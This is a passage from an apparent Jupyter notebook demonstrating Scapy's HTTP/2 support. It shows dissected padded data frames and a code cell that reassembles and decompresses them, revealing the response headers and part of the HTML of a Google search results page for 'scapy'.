\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'\\n\"\n       ]\n      },\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \"\\n\",\n        \"###[ HTTP/2 Frame ]### \\n\",\n        \"  len       = 0x5b\\n\",\n        \"  type      = DataFrm\\n\",\n        \"  flags     = set(['End Stream (ES)', 'Padded (P)'])\\n\",\n        \"  reserved  = 0L\\n\",\n        \"  stream_id = 5L\\n\",\n        \"###[ HTTP/2 Padded Data Frame ]### \\n\",\n        \"     padlen    = 80\\n\",\n        \"     data      = '\\\\x03\\\\x00\\\\x1d\\\\x82P[\\\\x14\\\\xaa\\\\x00\\\\x00'\\n\",\n        \"     padding   = '\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00'\\n\",\n        \"\\n\"\n       ]\n      }\n     ],\n     \"prompt_number\": 137\n    },\n    {\n     \"cell_type\": \"markdown\",\n     \"metadata\": {},\n     \"source\": [\n      \"Let's display the answer in human-readable format. We assume, once more for the sake of simplicity that we received very few headers.\"\n     ]\n    },\n    {\n     \"cell_type\": \"code\",\n     \"collapsed\": false,\n     \"input\": [\n      \"stream_txt = srv_tblhdr.gen_txt_repr(h2seq.frames[0])\\n\",\n      \"data = ''\\n\",\n      \"for frgmt in h2seq.frames[1:]:\\n\",\n      \"    data += frgmt.payload.data\\n\",\n      \"print(stream_txt)\\n\",\n      \"HTML(zlib.decompress(data, 16+zlib.MAX_WBITS).decode(\\\"utf-8\\\", \\\"ignore\\\"))\"\n     ],\n     \"language\": \"python\",\n     \"metadata\": {},\n     \"outputs\": [\n      {\n       \"output_type\": \"stream\",\n       \"stream\": \"stdout\",\n       \"text\": [\n        \":status 200\\n\",\n        \"date: Tue, 13 Dec 2016 17:36:19 GMT\\n\",\n        \"p3p: CP=\\\"This is not a P3P policy! See https://www.google.com/support/accounts/answer/151657?hl=en for more info.\\\"\\n\",\n        \"server: gws\\n\",\n        \"content-length: 4420\\n\",\n        \"expires: Fri, 16 Dec 2016 06:23:59 GMT\\n\",\n        \"set-cookie: NID=91=Wt1Jkm3Eretgg-hJ32fkj7kSSOLTc8tfEEIP5F2QTzHqbsXcCFve-QoN1oZvkGEqqqAWklc2wlj97YDkMnGXQUw20iCYMc3FD6X-KVuK1wdFURafcqQMQZ8e-F14YUfn; expires=Wed, 14-Jun-2017 17:34:51 GMT; path=/; domain=.google.fr; HttpOnly\\n\",\n        \"alt-svc: quic=\\\":443\\\"; ma=2592000; v=\\\"35,34\\\"\\n\",\n        \"date: Tue, 13 Dec 2016 17:36:19 GMT\\n\",\n        \"cache-control: private, max-age=0\\n\"\n       ]\n      },\n      {\n       \"html\": [\n        \"<!doctype html><html itemscope=\\\"\\\" itemtype=\\\"http://schema.org/SearchResultsPage\\\" lang=\\\"fr\\\"><head><meta content=\\\"text/html; charset=UTF-8\\\" http-equiv=\\\"Content-Type\\\"><meta content=\\\"/images/branding/googleg/1x/googleg_standard_color_128dp.png\\\" itemprop=\\\"image\\\"><link href=\\\"/images/branding/product/ico/googleg_lodp.ico\\\" rel=\\\"shortcut icon\\\"><title>scapy - Recherche Google</title><style>#gbar,#guser{font-size:13px;padding-top:1px !important;}#gbar{height:22px}#guser{padding-bottom:7px !important;text-align:right}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}@media all{.gb1{height:22px;margin-right:.5em;vertical-align:top}#gbar{float:left}}a.gb1,a.gb4{text-decoration:underline !important}a.gb1,a.gb4{color:#00c !important}.gbi .gb4{color:#dd8e27 !important}.gbf .gb4{color:#900 !important} </style><style>.star{float:left;margin-top:1px;overflow:hidden}._yhd{font-size:11px}.j{width:34em}body,td,div,.p,a{font-family:arial,sans-serif;tap-highlight-color:rgba(255,255,255,0)}body{margin:0}a img{border:0}#gbar{float:left;height:22px;padding-left:2px;font-size:13px}.gsfi,.gsfs{font-size:17px}.w,.q:active,.q:visited,.tbotu{color:#11c}a.gl{text-decoration:none}._Umd a:link{color:#0E1CB3}#foot{padding:0 8px}#foot a{white-space:nowrap}h3{font-size:16px;font-weight:normal;margin:0;padding:0}#res h3{display:inline}.hd{height:1px;position:absolute;top:-1000em}.g,body,html,table,.std{font-size:13px}.g{margin-bottom:23px;margin-top:0;zoom:1}ol li,ul li{list-style:none}h1,ol,ul,li{margin:0;padding:0}#mbEnd h2{font-weight:normal}.e{margin:2px 0 0.75em}#leftnav a{text-decoration:none}#leftnav h2{color:#767676;font-weight:normal;margin:0}#nav{border-collapse:collapse;margin-top:17px;text-align:left}#nav td{text-align:center}.nobr{white-space:nowrap}.ts{border-collapse:collapse}.s br{display:none}.csb{display:block;height:40px}.images_table td{line-height:17px;padding-bottom:16px}.images_table img{border:1px solid #ccc;padding:1px}#tbd,#abd{display:block;min-height:1px}#abd{padding-top:3px}#tbd li{display:inline}._ITd,._JTd{margin-bottom:8px}#tbd .tbt li{display:block;font-size:13px;line-height:1.2;padding-bottom:3px;padding-left:8px;text-indent:-8px}.tbos,.b{font-weight:bold}em{font-weight:bold;font-style:normal}.mime{color:#1a0dab;font-weight:bold;font-size:x-small}._lwd{right:-2px !important;overflow:hidden}.soc a{text-decoration:none}.soc{color:#808080}._AC a{text-decoration:none}._AC{color:#808080}._kgd{color:#e7711b}#_vBb{border:1px solid #e0e0e0;margin-left:-8px;margin-right:-8px;padding:15px 20px 5px}._m3b{font-size:32px}._eGc{color:#777;font-size:16px;margin-top:5px}._H0d{color:#777;font-size:14px;margin-top:5px}._HLh{border:1px solid #e0e0e0;padding-left:20px}._Tki{border:1px solid #e0e0e0;padding:5px 20px}#vob{border:1px solid #e0e0e0;padding:15px 15px}#_Nyc{font-size:22px;line-height:22px;padding-bottom:5px}#vob_st{line-height:1.24}._Tsb{border-width:1px;border-style:solid;border-color:#eee;background-color:#fff;position:relative;margin-bottom:26px}._Peb,._Qeb,._Usb{font-family:Arial;font-weight:lighter}._Peb{margin-bottom:5px}._Peb{font-size:xx-large}._Qeb{font-size:medium}._Usb{font-size:small}._Tsb{margin-left:-8px;margin-right:-15px;padding:20px 20px 24px}._rOc{border-spacing:0px 2px}._sOc{max-width:380px;text-overflow:ellipsis;white-space:nowrap;overflow:hidden;padding-left:0px}._v9b{padding-left:15px;white-space:nowrap;color:#666}._pOc{padding-left:0px}._rkc{color:#212121}._HOb{color:#878787}._lMf{color:#093}._jMf{color:#c00}._kMf{padding:1px}._CKg{color:#dd4b39}.gssb_a{padding:0 10px !important}.gssb_c{left:132px !important;right:295px !important;top:78px !important;width:572px !important}.gssb_c table{font-size:16px !important}.gssb_e{border:1px solid #ccc !important;border-top-color:#d9d9d9 !important}.gssb_i{background:#eee !important}#res{padding:0 8px}#rhs_block{padding-top:43px}#_FQd{padding:0 8px}#subform_ctrl{font-size:11px;height:17px;margin:5px 3px 0 17px}.taf{padding-bottom:3px}._chd{padding:20px 0 3px}._bhd{padding:20px 0 3px}#topstuff .e{padding-bottom:6px}.slk .sld{width:250px}.slk{margin-bottom:-3px}.slk ._z3b{padding-bottom:5px;width:250px}._QPd{margin-top:1px;margin-bottom:-11px}._zuc{color:#545454}._Auc{padding-top:2px;padding-bottom:1px}._Buc{padding-top:1px;margin-bottom:14px}.ac,.st{line-height:1.24}.mfr,#ofr{font-size:16px;margin:1em 0;padding:0 8px}._tLi{padding-bottom:25px}.s{color:#545454}.ac,._JEe{color:#545454}a.fl,._cD a,.osl a{color:#1a0dab;text-decoration:none}a:link{color:#1a0dab;cursor:pointer}#tads a:link{color:#1a0dab}#tads .soc a:link{color:#808080}#tads ._AC a:link{color:#808080}._AC a:link{color:#808080}._AC a:visited{color:#808080}._AC a:hover{color:#808080;text-decoration:underline}a:visited{color:#61C}.blg a{text-decoration:none}cite,cite a:link{color:#006621;font-style:normal}#tads cite{color:#006621}.kv{font-size:15px}.kvs{margin-top:1px}.kv,.kvs,.slp{display:block;margin-bottom:1px}.kt{border-spacing:2px 0;margin-top:1px}#mbEnd li{margin:20px 8px 0 0}.f{color:#808080}._pJb{color:#093}h4.r{display:inline;font-size:small;font-weight:normal}.g{line-height:1.2}._sPb{display:inline-block;vertical-align:top;overflow:hidden;position:relative}._Gnc{margin:0 0 2em 1.3em}._Gnc li{list-style-type:disc}.osl{color:#777;margin-top:4px}.r{font-size:16px;margin:0}.spell{font-size:16px}.spell_orig{font-size:13px}.spell_orig a{text-decoration:none}.spell_orig b i{font-style:normal;font-weight:normal}.th{border:1px solid #ebebeb}.ts td{padding:0}.videobox{padding-bottom:3px}.slk a{text-decoration:none}#leftnav a:hover,#leftnav .tbou a:hover,.slk h3 a,a:hover{text-decoration:underline}#mn{table-layout:fixed;width:100%}#leftnav a{color:#222;font-size:13px}#leftnav{padding:43px 4px 4px 0}.tbos{color:#dd4b39}._AEd{border-top:1px solid #efefef;font-size:13px;margin:10px 0 14px 10px;padding:0}.tbt{margin-bottom:28px}#tbd{padding:0 0 0 16px}.tbou a{color:#222}#center_col{border:0;padding:0 8px 0 0}#topstuff .e{padding-top:3px}#topstuff .sp_cnt{padding-top:6px}#ab_name{color:#dd4b39;font:20px \\\"Arial\\\";margin-left:15px}._fld{border-bottom:1px solid #dedede;height:56px;padding-top:1px}#resultStats{color:#999;font-size:13px;overflow:hidden;white-space:nowrap}.mslg>td{padding-right:1px;padding-top:2px}.slk .sld{margin-top:2px;padding:5px 0 5px 5px}._Mvd,.fmp{padding-top:3px}.close_btn{overflow:hidden}#fll a,#bfl a{color:#1a0dab !important;margin:0 12px;text-decoration:none !important}.ng{color:#dd4b39}#mss{margin:.33em 0 0;padding:0;display:table}._mY{display:inline-block;float:left;white-space:nowrap;padding-right:16px}#mss p{margin:0;padding-top:5px}.tn{border-bottom:1px solid #ebebeb;display:block;float:left;height:59px;line-height:54px;min-width:980px;padding:0;position:relative;white-space:nowrap}._UXb,a._UXb{color:#777;cursor:pointer;display:inline-block;font-family:arial,sans-serif;font-size:small;height:54px;line-height:54px;margin:0 8px;padding:0 8px;text-decoration:none;white-space:nowrap}._Ihd{border-bottom:3px solid #dd4b39;color:#dd4b39;font-weight:bold;margin:2px 8px 0}a._Jhd:hover{color:black;text-decoration:none;white-space:nowrap}body{margin:0;padding:0}._sxc{display:inline-block;float:left;margin-top:2px}._Hhd,a._Hhd{margin-left:1px}.sd{line-height:43px;padding:0 8px 0 9px}a:active,.osl a:active,.tbou a:active,#leftnav a:active{color:#dd4b39}#_Xud a:active,#bfl a:active{color:#dd4b39 !important}.csb{background:url(/images/nav_logo229.png) no-repeat;overflow:hidden}.close_btn{background:url(/images/nav_logo229.png) no-repeat -138px -84px;height:14px;width:14px;display:block}.star{background:url(/images/nav_logo229.png) no-repeat -94px -245px;height:13px;width:65px;display:block}.star div,.star span{background:url(/images/nav_logo229.png) no-repeat 0 -245px;height:13px;width:65px;display:block}._nBb{display:inline;margin:0 3px;outline-color:transparent;overflow:hidden;position:relative}._nBb>div{outline-color:transparent}._O0{border-color:transparent;border-style:solid dashed dashed;border-top-color:green;border-width:4px 4px 0 4px;cursor:pointer;display:inline-block;font-size:0;height:0;left:4px;line-height:0;outline-color:transparent;position:relative;top:-3px;width:0}._O0{margin-top:-4px}.am-dropdown-menu{display:block;background:#fff;border:1px solid #dcdcdc;font-size:13px;left:0;padding:0;position:absolute;right:auto;white-space:nowrap;z-index:3}._Ykb{list-style:none;white-space:nowrap}._Ykb:hover{background-color:#eee}a._Zkb{color:#333;cursor:pointer;display:block;padding:7px 18px;text-decoration:none}#tads a._Zkb{color:#333}.sfbgg{background:#f1f1f1;border-bottom:1px solid #e5e5e5;height:71px}#logocont{z-index:1;padding-left:4px;padding-top:4px}#logo{display:block;height:49px;margin-top:12px;margin-left:12px;overflow:hidden;position:relative;width:137px}#logo img{left:0;position:absolute;top:-41px}.lst-a{background:white;border:1px solid #d9d9d9;border-top-color:silver;width:570px}.lst-a:hover{border:1px solid #b9b9b9;border-top:1px solid #a0a0a0;box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.1)}.lst-td{border:none;padding:0}.tia input{border-right:none;padding-right:0}.tia{padding-right:0}.lst{background:none;border:none;color:#000;font:16px arial,sans-serif;float:left;height:22px;margin:0;padding:3px 6px 2px 9px;vertical-align:top;width:100%;word-break:break-all}.lst:focus{outline:none}.lst-b{background:none;border:none;height:26px;padding:0 6px 0 12px}.ds{border-right:1px solid #e7e7e7;position:relative;height:29px;margin-left:17px;z-index:100}.lsbb{background-image:-moz-linear-gradient(top,#4d90fe,#4787ed);background-image:-ms-linear-gradient(top,#4d90fe,#4787ed);background-image:-o-linear-gradient(top,#4d90fe,#4787ed);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#4787ed));background-image:-webkit-linear-gradient(top,#4d90fe,#4787ed);background-image:linear-gradient(top,#4d90fe,#4787ed);border:1px solid #3079ed;border-radius:2px;background-color:#4d90fe;height:27px;width:68px}.lsbb:hover{background-image:-moz-linear-gradient(top,#4d90fe,#357ae8);background-image:-ms-linear-gradient(top,#4d90fe,#357ae8);background-image:-o-linear-gradient(top,#4d90fe,#357ae8);background-image:-webkit-gradient(linear,left top,left bottom,from(#4d90fe),to(#357ae8));background-image:-webkit-linear-gradient(top,#4d90fe,#357ae8);background-color:#357ae8;background-image:linear-gradient(top,#4d90fe,#357ae8);border:1px solid #2f5bb7}.lsb{background:transparent;background-position:0 -343px;background-repeat:repeat-x;border:none;color:#000;cursor:default;font:15px arial,sans-serif;height:29px;margin:0;vertical-align:top;width:100%}.lsb:active{-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);box-shadow:inset 0 1px 2px rgba(0,0,0,0.3);background:transparent;color:transparent;overflow:hidden;position:relative;width:100%}.sbico{color:transparent;display:inline-block;height:15px;margin:0 auto;margin-top:2px;width:15px;overflow:hidden}</style><script>(function(){window.google={kEI:'kzFQWN-hEcKya4KMgVA',kEXPI:'20782,750721,1351903,3700243,4029815,4032677,4038012,4041899,4043492,4045841,4048347,4055745,4062666,4065787,4067860,4068550,4068560,4069838,4069841,4072602,4072775,4073405,4073728,4073959,4074597,4074955,4076095,4076931,4076999,4078438,4078456,4078764,4079106,4079442,4079626,4079874,4079894,4079954,4080167,4081037,4081039,4082056,4082165,4082217,4082619,4083476,4084298,4084343,4084956,4085057,4085627,4086011,4086290,4086863,4087718,4087977,4088429,4088436,4088448,4088643,4089003,4089106,4089337,4089346,4089347,4089481,4089538,4089696,4089741,4089749,4089753,4090086,4090352,4090401,4090445,4090806,8300096,8300273,8300478,8506615,8507381,8507419,8507858,8507899,8508059,8508065,8508590,8508957,8509066,8509243,10200083,13500022',authuser:0,kscs:'c9c918f0_24'};google.kHL='fr';})();(function(){google.lc=[];google.li=0;google.getEI=function(a){for(var b;a&&(!a.getAttribute||!(b=a.getAttribute(\\\"eid\\\")));)a=a.parentNode;return b||google.kEI};google.getLEI=function(a){for(var b=null;a&&(!a.getAttribute||!(b=a.getAttribute(\\\"leid\\\")));)a=a.parentNode;return b};google.https=function(){return\\\"https:\\\"==window.location.protocol};google.ml=function(){return null};google.wl=function(a,b){try{google.ml(Error(a),!1,b)}catch(c){}};google.time=function(){return(new Date).getTime()};google.log=function(a,b,c,d,g){a=google.logUrl(a,b,c,d,g);if(\\\"\\\"!=a){b=new Image;var e=google.lc,f=google.li;e[f]=b;b.onerror=b.onload=b.onabort=function(){delete e[f]};window.google&&window.google.vel&&window.google.vel.lu&&window.google.vel.lu(a);b.src=a;google.li=f+1}};google.logUrl=function(a,b,c,d,g){var e=\\\"\\\",f=google.ls||\\\"\\\";c||-1!=b.search(\\\"&ei=\\\")||(e=\\\"&ei=\\\"+google.getEI(d),-1==b.search(\\\"&lei=\\\")&&(d=google.getLEI(d))&&(e+=\\\"&lei=\\\"+d));a=c||\\\"/\\\"+(g||\\\"gen_204\\\")+\\\"?atyp=i&ct=\\\"+a+\\\"&cad=\\\"+b+e+f+\\\"&zx=\\\"+google.time();/^http:/i.test(a)&&google.https()&&(google.ml(Error(\\\"a\\\"),!1,{src:a,glmm:1}),a=\\\"\\\");return a};google.y={};google.x=function(a,b){google.y[a.id]=[a,b];return!1};google.lq=[];google.load=function(a,b,c){google.lq.push([[a],b,c])};google.loadAll=function(a,b){google.lq.push([a,b])};}).call(this);(function(){var b=[function(){google.c&&google.tick(\\\"load\\\",\\\"dcl\\\")}];google.dcl=!1;google.dclc=function(a){google.dcl?a():b.push(a)};function c(){if(!google.dcl){google.dcl=!0;for(var a;a=b.shift();)a()}}window.addEventListener?(document.addEventListener(\\\"DOMContentLoaded\\\",c,!1),window.addEventListener(\\\"load\\\",c,!1)):window.attachEvent&&window.attachEvent(\\\"onload\\\",c);}).call(this);</script><script type=\\\"text/javascript\\\"></script><script>(function(){var a=function(f){for(var g=f.parentElement,d=null,e=0;e<g.childNodes.length;e++){var h=g.childNodes[e];-1<(\\\" \\\"+h.className+\\\" \\\").indexOf(\\\" am-dropdown-menu \\\")&&(d=h)}\\\"none\\\"==d.style.display?(d.style.display=\\\"\\\",google.log(\\\"hpam\\\",\\\"&ved=\\\"+f.getAttribute(\\\"data-ved\\\"))):d.style.display=\\\"none\\\"},b=[\\\"google\\\",\\\"sham\\\"],c=this;b[0]in c||!c.execScript||c.execScript(\\\"var \\\"+b[0]);for(var k;b.length&&(k=b.shift());)b.length||void 0===a?c[k]?c=c[k]:c=c[k]={}:c[k]=a;}).call(this);</script></head><body class=\\\"hsrp\\\" bgcolor=\\\"#ffffff\\\" marginheight=\\\"0\\\" marginwidth=\\\"0\\\" topmargin=\\\"0\\\"><div id=gbar><nobr><b class=gb1>Recherche</b> <a class=gb1 href=\\\"https://www.google.fr/search?hl=fr&tbm=isch&source=og&tab=wi\\\">Images</a> <a class=gb1 href=\\\"https://maps.google.fr/maps?hl=fr&tab=wl\\\">Maps</a> <a class=gb1 href=\\\"https://play.google.com/?hl=fr&tab=w8\\\">Play</a> <a class=gb1 href=\\\"https://www.youtube.com/results?gl=FR&tab=w1\\\">YouTube</a> <a class=gb1 href=\\\"https://news.google.fr/nwshp?hl=fr&tab=wn\\\">Actualits</a> <a class=gb1 href=\\\"https://mail.google.com/mail/?tab=wm\\\">Gmail</a> <a class=gb1 href=\\\"https://drive.google.com/?tab=wo\\\">Drive</a> <a class=gb1 style=\\\"text-decoration:none\\\" href=\\\"https://www.google.fr/intl/fr/options/\\\"><u>Plus</u> &raquo;</a></nobr></div><div id=guser width=100%><nobr><span id=gbn class=gbi></span><span id=gbf class=gbf></span><span id=gbe></span><a href=\\\"http://www.google.fr/history/optout?hl=fr\\\" class=gb4>Historique Web</a> | <a  href=\\\"/preferences?hl=fr\\\" class=gb4>Paramtres</a> | <a target=_top id=gb_70 href=\\\"https://accounts.google.com/ServiceLogin?hl=fr&passive=true&continue=https://www.google.fr/search%3Fq%3Dscapy\\\" class=gb4>Connexion</a></nobr></div><div class=gbh style=left:0></div><div class=gbh style=right:0></div><table id=\\\"mn\\\" border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" style=\\\"position:relative\\\"><tr><th width=\\\"132\\\"></th><th width=\\\"573\\\"></th><th width=\\\"278\\\"></th><th></th></tr><tr><td class=\\\"sfbgg\\\" valign=\\\"top\\\"><div id=\\\"logocont\\\"><h1><a href=\\\"/webhp?hl=fr\\\" style=\\\"background:url(/images/nav_logo229.png) no-repeat 0 -41px;height:37px;width:95px;display:block\\\" id=\\\"logo\\\" title=\\\"Go to Google Home\\\"></a></h1></div></td><td class=\\\"sfbgg\\\" colspan=\\\"2\\\" valign=\\\"top\\\" style=\\\"padding-left:0px\\\"><form style=\\\"display:block;margin:0;background:none\\\" action=\\\"/search\\\" id=\\\"tsf\\\" method=\\\"GET\\\" name=\\\"gs\\\"><table border=\\\"0\\\" cellpadding=\\\"0\\\" cellspacing=\\\"0\\\" style=\\\"margin-top:20px;position:relative\\\"><tr><td><div class=\\\"lst-a\\\"><table cellpadding=\\\"0\\\" cellspacing=\\\"0\\\"><tr><td class=\\\"lst-td\\\" width=\\\"555\\\" valign=\\\"bottom\\\"><div style=\\\"position:relative;zoom:1\\\"><input class=\\\"lst\\\" value=\\\"scapy\\\" title=\\\"Rechercher\\\" autocomplete=\\\"off\\\" id=\\\"sbhost\\\" maxlength=\\\"2048\\\" name=\\\"q\\\" type=\\\"text\\\"></div></td></tr></table></div></td><td><div class=\\\"ds\\\"><div class=\\\"lsbb\\\"><button class=\\\"lsb\\\" value=\\\"Rechercher\\\" name=\\\"btnG\\\" type=\\\"submit\\\"><span class=\\\"sbico\\\" style=\\\"background:url(/images/nav_logo229.png) no-repeat -36px -111px;height:14px;width:13px;display:block\\\"></span></button></div></div></td></tr></table></form></td><td class=\\\"sfbgg\\\">&nbsp;</td></tr><tr style=\\\"position:relative\\\"><td><div style=\\\"border-bottom:1px solid #ebebeb;height:59px\\\"></div></td><td colspan=\\\"2\\\"><div class=\\\"tn\\\"><div class=\\\"_UXb _Ihd _sxc _Hhd\\\">Tous</div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBQ\\\">Images</a></div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=vid&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBg\\\">Vidos</a></div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=nws&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUIBw\\\">Actualits</a></div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=shop&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICA\\\">Shopping</a></div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"https://maps.google.fr/maps?q=scapy&amp;um=1&amp;ie=UTF-8&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICQ\\\">Maps</a></div><div class=\\\"_sxc\\\"><a class=\\\"_UXb _Jhd\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnms&amp;tbm=bks&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ_AUICg\\\">Livres</a></div></div><div style=\\\"border-bottom:1px solid #ebebeb;height:59px\\\"></div></td><td><div style=\\\"border-bottom:1px solid #ebebeb;height:59px\\\"></div></td></tr><tbody data-jibp=\\\"h\\\" data-jiis=\\\"uc\\\" id=\\\"desktop-search\\\"><style>._Bu,._Bu a:link,._Bu a:visited,a._Bu:link,a._Bu:visited{color:#808080}._kBb{color:#61C}.ellip{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}</style><tr><td id=\\\"leftnav\\\" valign=\\\"top\\\"><div><h2 class=\\\"hd\\\">Search Options</h2><ul class=\\\"med\\\" id=\\\"tbd\\\"><li><ul class=\\\"tbt\\\"><li class=\\\"tbos\\\" id=\\\"lr_\\\">Tous les pays</li><li class=\\\"tbou\\\" id=\\\"ctr_countryFR\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=ctr:countryFR&amp;cr=countryFR&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\">Pays: France</a></li></ul></li><li><ul class=\\\"tbt\\\"><li class=\\\"tbos\\\" id=\\\"lr_\\\">Toutes les langues</li><li class=\\\"tbou\\\" id=\\\"lr_lang_1fr\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=lr:lang_1fr&amp;lr=lang_fr&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\">Pages en franais</a></li></ul></li><li><ul class=\\\"tbt\\\"><li class=\\\"tbos\\\" id=\\\"qdr_\\\">Date indiffrente</li><li class=\\\"tbou\\\" id=\\\"qdr_h\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:h&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\"> Moins d'une heure</a></li><li class=\\\"tbou\\\" id=\\\"qdr_d\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:d&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\"> Moins de 24heures</a></li><li class=\\\"tbou\\\" id=\\\"qdr_w\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:w&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\"> Moins d'une semaine</a></li><li class=\\\"tbou\\\" id=\\\"qdr_m\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:m&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\"> Moins d'un mois</a></li><li class=\\\"tbou\\\" id=\\\"qdr_y\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=qdr:y&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\"> Moins d'un an</a></li></ul></li><li><ul class=\\\"tbt\\\"><li class=\\\"tbos\\\" id=\\\"li_\\\">Tous les rsultats</li><li class=\\\"tbou\\\" id=\\\"li_1\\\"><a class=\\\"q\\\" href=\\\"/search?q=scapy&amp;ie=UTF-8&amp;prmd=ivns&amp;source=lnt&amp;tbs=li:1&amp;sa=X&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQpwUIDw\\\">Mot  mot</a></li></ul></li></ul></div></td><td valign=\\\"top\\\"><div id=\\\"center_col\\\"><div class=\\\"sd\\\" id=\\\"resultStats\\\">Environ 190&#160;000rsultats</div><div id=\\\"res\\\"><div id=\\\"topstuff\\\"></div><div id=\\\"search\\\"><div id=\\\"ires\\\"><ol><div class=\\\"g\\\"><h3 class=\\\"r\\\"><a href=\\\"/url?q=http://www.secdev.org/projects/scapy/&amp;sa=U&amp;ved=0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQFggUMAA&amp;usg=AFQjCNHHk3EY8Z1PU7DjcAlkG4Rc3Vs59g\\\"><b>Scapy</b> - SecDev.org</a></h3><div class=\\\"s\\\"><div class=\\\"kv\\\" style=\\\"margin-bottom:2px\\\"><cite>www.secdev.org/projects/<b>scapy</b>/</cite><div class=\\\"_nBb\\\"><div style=\\\"display:inline\\\" onclick=\\\"google.sham(this);\\\" aria-expanded=\\\"false\\\" aria-haspopup=\\\"true\\\" tabindex=\\\"0\\\" data-ved=\\\"0ahUKEwift9bD2vHQAhVC2RoKHQJGAAoQ7B0IFTAA\\\"><span class=\\\"_O0\\\"></span></div><div style=\\\"display:none\\\" class=\\\"am-dropdown-menu\\\" role=\\\"menu\\\" tabindex=\\\"-1\\\"><ul><li class=\\\"_Ykb\\\"><a class=\\\"_Zkb\\\" 